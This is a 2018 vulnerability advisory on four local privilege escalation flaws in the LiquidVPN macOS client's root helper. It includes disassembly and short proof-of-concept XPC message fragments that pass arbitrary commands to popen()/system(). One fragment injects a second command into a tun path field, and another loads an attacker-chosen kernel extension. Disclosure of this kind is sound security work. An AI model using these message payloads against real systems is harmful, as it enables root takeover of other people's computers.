LiquidVPN For macOS 1.3.7 Privilege Escalation

2018.11.03
Credit: Bernd Leitner
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

======================================================================= Title: Multiple Privilege Escalation Vulnerabilities Product: LiquidVPN for MacOS Vulnerable versions: 1.37, 1.36 and earlier CVE ID(s): CVE-2018-18856, CVE-2018-18857, CVE-2018-18858, CVE-2018-18859 Impact: Critical Homepage: https://www.liquidvpn.com Identified: 2018-09-29 By: Bernd Leitner (bernd.leitner [at] gmail dot com) ======================================================================= Vendor description: ------------------- "LiquidVPN creates a secure encrypted link between your device and the Internet. When you connect to the Internet from your home, mobile device, office or a WiFi hotspot with encryption your traffic canat be monitored by 3rd parties like your ISP. Without encryption, your ISP can store information about the websites you use and sell that data to anyone willing to pay for it. Some ISPs even inject advertisements into web pages to further profit off of the Internet service you pay for." Source: https://www.liquidvpn.com Business recommendation: ------------------------ By exploiting the vulnerabilities documented in this advisory, an attacker can fully compromise a MacOS system with an installation of the LiquidVPN client. Users are urged to uninstall the application until the vendor ships a new version of the LiquidVPN client. Vulnerability overview/description: ----------------------------------- LiquidVPN installs the helper tool "com.smr.liquidvpn.OVPNHelper" for performing privileged (root) actions. In order to allow other LiquidVPN components to send messages to the helper tool, it implements an XPC service. Static code analysis showed, that the XPC service does not filter incoming messages. This means, regular users (local attackers) can craft arbitrary XPC messages and send them to the service. This leads to the following issues: 1) "anycmd" Privilege Escalation (reserved CVE-2018-18857) After receiving a message, the service checks for the existence of the "anycmd" parameter: ============================================================================================ ... __text:00000001000012E8 lea rsi, aAnycmd ; "anycmd" __text:00000001000012EF mov rdi, r14 ; char * __text:00000001000012F2 call _strcmp __text:00000001000012F7 test eax, eax __text:00000001000012F9 jnz loc_1000016C2 __text:00000001000012FF mov [rbp+var_10A38], r15 __text:0000000100001306 lea rsi, aCommandLine ; "command_line" __text:000000010000130D mov rdi, rbx ... __text:0000000100001336 lea rsi, aR ; "r" __text:000000010000133D mov rdi, r14 ; char * __text:0000000100001340 call _popen ... ============================================================================================ If "anycmd" is found, the "command_line" parameter is extracted from the message and directly passed on to a call to popen() as an argument. 2) "openvpncmd" Privilege Escalation (reserved CVE-2018-18856) Similar to the previous vulnerability, the service checks if the "openvpn" parameter exists. If it does, the "openvpncmd" parameter is extracted and passed on to a system() call as an argument: ============================================================================================ ... __text:00000001000013F1 lea rsi, aOpenvpncmd ; "openvpncmd" __text:00000001000013F8 mov rdi, rbx __text:00000001000013FB call _xpc_dictionary_get_string ... __text:000000010000166A mov rdi, r15 ; char * __text:000000010000166D call _system __text:0000000100001672 lea rsi, aReply ; "reply" __text:0000000100001679 lea rdx, aOpenvpnCommand ; "openvpn command executed (ver 3)" __text:0000000100001680 mov rdi, r12 __text:0000000100001683 call _xpc_dictionary_set_string ... ============================================================================================ 3) OS Command Injection (reserved CVE-2018-18858) If the service detects the "openvpn" parameter in a message, it also checks if the parameters "tun_path" or "tap_path" exist. If one of them (or both) are found, the values are used as source paths for a copy process using the system() function. However, the paths are not sanitized before being passed to system(): ============================================================================================ ... __text:00000001000013CD lea rsi, aPathTun ; "path_tun" __text:00000001000013D4 mov rdi, rbx __text:00000001000013D7 call _xpc_dictionary_get_string __text:00000001000013DC mov r14, rax __text:00000001000013DF lea rsi, aPathTap ; "path_tap" __text:00000001000013E6 mov rdi, rbx __text:00000001000013E9 call _xpc_dictionary_get_string ... __text:000000010000143F call _strcat __text:0000000100001444 mov rdi, rbx ; char * __text:0000000100001447 call _strlen ... __text:0000000100001497 mov rdi, rbx ; char * __text:000000010000149A call _system .. ============================================================================================ 4) Loading of arbitrary Kernel Extensions (reserved CVE-2018-18859) The previous vulnerability can also be used to directly install an arbitrary kernel extension. When the client is installed, "tun_path" and "tap_path" are pointed to the application folder for installing "/Applications/LiquidVPN.app/Contents/Resources/tun.kext" and "/Applications/LiquidVPN.app/Contents/Resources/tap.kext". By crafting an XPC message containing attacker controlled kernel extension paths, the helper tool installs the kernel extensions using a call to the system function kextload(). Note: Since MacOS 10.13, a Kext needs to be signed. In adddition to that, Apple introduced user-approval for installing third party kernel extensions. However, as an attacker has local access to the system and user-approval does not require the user to enter a root or admin password, this is not a problem. Proof of concept: ----------------- The following proof of concepts can be used to execute arbitrary system commands: 1) "anycmd" Privilege Escalation ============================================================================================ ... xpc_dictionary_set_string(message, "cmd", "anycmd"); xpc_dictionary_set_bool(message, "blocking", FALSE); xpc_dictionary_set_string(message, "command_line", "[ARBITRARY CMD]"); ... ============================================================================================ 2) "openvpncmd" Privilege Escalation ============================================================================================ ... xpc_dictionary_set_string(message, "cmd", "openvpn"); xpc_dictionary_set_string(message, "openvpncmd", "[ARBITRARY CMD]"); ... ============================================================================================ 3) OS Command Injection ============================================================================================ ... xpc_dictionary_set_string(message, "cmd", "openvpn"); xpc_dictionary_set_string(message, "path_tun", "/tmp/__dummy00_;[ARBITRARY CMD]"); ... ============================================================================================ 4) Loading of arbitrary Kernel Extensions ============================================================================================ ... xpc_dictionary_set_string(message, "cmd", "openvpn"); xpc_dictionary_set_string(message, "path_tun", "[PATH TO KEXT]"); ... ============================================================================================ Vulnerable / tested versions: ----------------------------- The following version has been tested and found to be vulnerable: 1.37 (most recent) and 1.36. Earlier versions might be vulnerable as well. Vendor contact timeline: ------------------------ 2018-10-04: Requested security contact via twitter @LiquidVPN 2018-10-11: Contacted vendor through dave@liquidvpn.com 2018-10-11: Sent PGP encrypted advisory ( https://my.liquidvpn.com/canary/syswan) 2018-10-17: Requested status update from vendor 2018-10-30: Sent new contact details & public PGP key to dave@liquidvpn.com 2018-10-30: Received vendor notification: No patches will be issued as the LiquidVPN client for MacOS will be replaced by new app in the future 2018-10-31: Published to Full Disclosure Mailing List Solution: --------- None. Workaround: ----------- None. EOF B. Leitner / @2018


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